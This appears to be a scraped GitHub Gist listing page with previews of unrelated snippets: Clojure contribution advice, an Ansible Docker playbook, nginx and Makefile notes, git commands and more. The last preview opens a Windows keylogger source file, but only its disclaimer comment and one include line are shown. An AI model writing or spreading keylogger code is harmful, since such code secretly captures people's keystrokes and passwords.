Skip to content

Instantly share code, notes, and snippets.

@halgari
halgari / gist:c17f378718cbd2fd82324002133ef678
Created November 23, 2018 20:54
Contributing to Clojure

So you’d like to contribute to Clojure, great! Let’s talk about what that involves.

The first thing you’ll want to make sure is that your idea is valid, and that you won’t spend a ton of time working on something that won’t make into master. To do this, you should create a JIRA ticket. For example, let’s say we want to improve how core.async handles channel closing propagation. It’s not a super complex problem, but there are some design questions about which of the various semantics currently in place should be the default, and if some semantics should be configurable.

So start by making a JIRA ticket and stating what the problem is you’re trying to solve, what the possible options for solving the problem. Now hit save and wait for the ticket to be triaged. Alex Miller will take a look when he can, and that can take a few days to a few weeks, depending on the time of the year (he has other responsibilities). Alex may out-right reject the idea if he knows Rich would never approve the ticket, but otherwise h

@yonglai
yonglai / playbook_centos_install_docker.yaml
Created November 15, 2017 18:04
An Ansible playbook to install docker-ce on Centos
---
- name: Install docker
gather_facts: No
hosts: default
tasks:
- name: Install yum utils
yum:
name: yum-utils
state: latest
@eeshangarg
eeshangarg / breadcrumb_lektor_bootstrap.py
Created March 24, 2017 23:58
Breadcrumb in Lektor using Bootstrap
<ol class="breadcrumb">
{% set crumbs = [] %}
{% set current = {'crumb': this} %}
{% for i in this._path.split("/") %}
{% if current.crumb is not none %}
{% if crumbs.insert(0, current.crumb) %}{% endif %}
{% if current.update({"crumb": current.crumb.parent}) %}{% endif %}
{% endif %}
{% endfor %}
{% for crumb in crumbs %}
@KostyaEsmukov
KostyaEsmukov / _nginx_docker_config.md
Last active April 1, 2024 08:40
Nginx configuration sample for docker

Nginx production configuration sample

This config assumes that nginx is run from docker image _/nginx.

docker commands

docker network create nginx

mkdir -p /etc/myproject/nginx

cd /etc/myproject/nginx

@alexkehayias
alexkehayias / org-mode-grammar.clj
Last active March 15, 2022 16:30
The start of an EBNF grammer to parse org-mode docs
(require '[instaparse.core :as insta])
(def org-parse
(insta/parser
"<DOC> = <EOL>* heading*
heading = level <SPC> [status <SPC>] text tag* [<EOL> content]
sub-heading = sub-level <SPC> [status <SPC>] text tag* [<EOL> content]
EOL = '\n' | '\r\n' | #'$'
SPC = ' '
level = #'\\*+'
@bishboria
bishboria / springer-free-maths-books.md
Last active June 8, 2024 06:39
Springer made a bunch of books available for free, these were the direct links
@vladimino
vladimino / CodeReview.md
Last active April 22, 2017 17:05
Code Review Rules

Я когда делаю Code Review критерии следующие:

  • Безопасность:
    • Каждый аргумент метода простого типа должен проверяться на тип в случае его проксирования и на граничные значения в случае обработки. Чуть что не так - бросается исключение. Если метод с кучкой аргументов на 80% состоит из поверки из аргументов - это вполне норм))
    • Никаких trigger_error, только исключения.
    • Исключения ДОЛЖНЫ быть человеко-понятны, всякие "Something went wrong" можно отдавать пользователю, но в лог должно попасть исключение со стектрейсом и человеко-понятным описанием, что же там пошло не так.
    • Каждый аргумент (объект) метода должен быть с тайпхинтингом на этот его класс, или интерфейс.
    • За eval как правило шлю на **й.
    • @ допускается только в безвыходных ситуациях, например проверка json_last_error.
  • Перед работой с БД - обязательная проверка данных.
@lttlrck
lttlrck / gist:9628955
Created March 18, 2014 20:34
rename git branch locally and remotely
git branch -m old_branch new_branch # Rename branch locally
git push origin :old_branch # Delete the old branch
git push --set-upstream origin new_branch # Push the new branch, set local branch to track the new remote
@prwhite
prwhite / Makefile
Last active June 11, 2024 13:48
Add a help target to a Makefile that will allow all targets to be self documenting
# Add the following 'help' target to your Makefile
# And add help text after each target name starting with '\#\#'
help: ## Show this help.
@fgrep -h "##" $(MAKEFILE_LIST) | fgrep -v fgrep | sed -e 's/\\$$//' | sed -e 's/##//'
# Everything below is an example
target00: ## This message will show up when typing 'make help'
@echo does nothing
/*
Simple WINDOWS keylogger by jkrix 2013.
User may distribute and modify source code but MUST keep this top commented section in the source code!
Very important note:
To be used for educational use and not for malicious tasks!
I will NOT be held responsible for anything silly you may do with this!
*/
#include <stdio.h>